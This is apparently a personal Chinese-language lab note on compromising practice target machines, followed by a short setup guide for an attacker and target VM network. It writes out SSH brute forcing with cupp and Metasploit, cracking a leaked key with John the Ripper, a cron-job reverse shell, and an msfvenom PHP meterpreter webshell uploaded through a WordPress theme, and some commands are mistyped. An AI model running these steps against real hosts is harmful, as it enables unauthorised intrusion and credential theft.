入侵开放22端口的靶机
本人笔记，仅供参考
相关靶机：
链接：
提取码：qd32
渗透分析：
对于开启ssh服务的22端口的靶场优先考虑
1.暴力破解
2.私钥泄露
对于开放http服务的80端口或者其他端口的靶场优先考虑（特别注意大于1024的端口）
1.通过浏览器访问对应靶场http服务如地址：端口号
2.使用探测工具对http的目录进行探测，如dirb 地址：端口号
挖掘敏感信息：
使用浏览器对靶场IP的http服务探测，对页面中展示的内容也要注意，尤其是联系人等信息(有可能就是ssh的用户名信息)， 递归访问，力争把每一个dirb扫描到的目录页面都访问查看;
尤其对robots.txt、以及一些目录进行访问，挖掘具备利用价值的信息。对于开放ssh服务的靶场，务必要注意是否可以寻找到ssh私钥信息(id_ rsa);
对于某些靶场，也可以使用nikto扫描器来挖掘敏感信息;
-- nikto -host靶场IP地址
特别注意config等特殊敏感文件，要细读扫描的结果。挖掘可以利用的敏感信息;
登录服务器之后，我们需要做以下操作。
1、查看当前用户whoami .
2、id 查看当前用户的权限
3、查看根目录寻找flag文件
如果是root权限，那么表明这个靶场就被全部拿下。但是如果不是，就肯定需要提权。一
般情况下，flag文件只属于root用户和对应的用户组:
cat /etc/passwd查看所有用户的列装
cat /etc/group查看用户组
find / -user用户名查看属于某些用户的文件
/tmp查看缓冲文件目录
深入挖掘
通过/etc/crontab文件，设定系统定期执行的任务,编辑，需要roor权限。不同的用户都可以有不同的定时任务
cat /etc/crontab挖掘其他用户是否有定时任务，并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
如果在/etc/crontab下有某个用户的定时计划文件，但是具体目录下没有这个定时执行的文件，可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件，可以切换到对应的目录，查看对应的权限，查看当前用户是否具有读写权限。
万不得已的时候只能对ssh服务进行暴力破解。破解最后一个
用户名。破解工具如hydra、medusa等;
利用cupp创建字典
git clone
chmod +x cupp.py
./cupp.py -i以交互的方式创建字典
输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成
之后推荐用metasploit破解ssh
在终端中输入
msfconsole
msf use auxiliary/scaner/ssh/ssh_ login（使用该模块）
set rhosts 192.168.56.103（确定ip地址）
set username 用户名（破解的用户名）
set pass_ file 用户名.txt（刚刚创建的字典）
set threads 5（输入线程）
Run（进攻）
此时破解出密码例如123
直接连接，如果出现问题可以重启msfconsole，启用该模块后
set rhosts 192.168.56.103 (连接远程主机）
set username hadi（用户名）
Set password 123（密码）
Run
界面简陋就使用python优化界面
Python -c “import pty;pty.spawn(‘/bin/bash’)”（优化界面）
此时可以把自己权限提升到root：
su - root
回到根目录ls打开flag文件
Ssh秘钥泄露
解密Ssh秘钥信息(以秘钥名id_isa举例）
Chmod 600 id_isa（赋予is_isa可读可写权限）
ssh2john id_isa isacrack (就是用ssh2john把秘钥里的东西转换成john可识别的）
Zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks（利用rockyou字典解出所需要的东西）
制作webshell
msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw /root/Desktop/shell.php
启动监听
msf use exploit/multi/handler
msf exploit(handler) set payload php/meterpreter/reverse_tcp
Weoshell
msf exploit(handler) set Ihost攻击机IP地址
msf exploit(handler) set lport 4444
msf exploit(handler) run
上传Webshell
使用找到的敏感信息登录系统后台，上传webshell。 执行
webshel(访问具有webshell的php页面)
获得反弹的shell
--
wordpress.上传点theme 404.php
执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
网络攻防靶场和实训平台有什么区别
设备不同。
网络攻防靶场是指虚拟环境与真实设备相结合的体验。实训平台只有虚拟环境体验。
网络靶场，也称之为国家网络靶场。国家网络靶场是指通过虚拟环境与真实设备相结合，模拟仿真出真实赛博网络空间攻防作战环境，能够支撑赛博作战能力研究和赛博武器装备验证试验平台。国家网络靶场将为国家构建真实的网络攻防作战提供仿真环境，针对敌对电子和网络攻击等电子作战手段进行试验。
网络攻防：攻击机（Ubuntu）和靶机（win2000server）的搭建
【目标】：要使【实际主机】、【攻击机】、【靶机】三方互相ping通
一、搭建靶机
点击下一步-完成
二、配置虚拟机win2000server的网络
实际主机：属性-启用
当虚拟机鼠标在虚拟机中出不来时，可以按Ctrl+alt键释放
三、查看靶机IP
登陆账号：Administrator密码：mima1234
硬件向导选“否”
打开“运行”--键入cmd
得到靶机IP地址为：192.168.67.129
四、从实体主机ping一下靶机
所以，【实体主机-靶机】互通
五、搭建攻击机（Linux-Ubuntu）安装方法同上，以下列举不同的地方
六、开启攻击机（Ubuntu）
Login:root
password:toor
回车：
输入：root@bt:~#startx(进入Ubuntu的图形化界面)
点一下如下图所示的图案：打开terminal
输入：root@bt:~#ifconfig(查看Ubuntu的IP地址)
得到Ubuntu的IP地址为：192.168.67.128
七、在攻击机上检查【攻击机-实体主机】和【攻击机-靶机】是否能ping通
查看实体主机IP地址：+R--cmd
C:\Users\aceripconfig(查看ip地址)
得到实体主机的IP地址为：10.201.212.16
打开Ubuntu的terminal，尝试【攻击机-实体主机】ping
尝试【攻击机-靶机】ping
0条大神的评论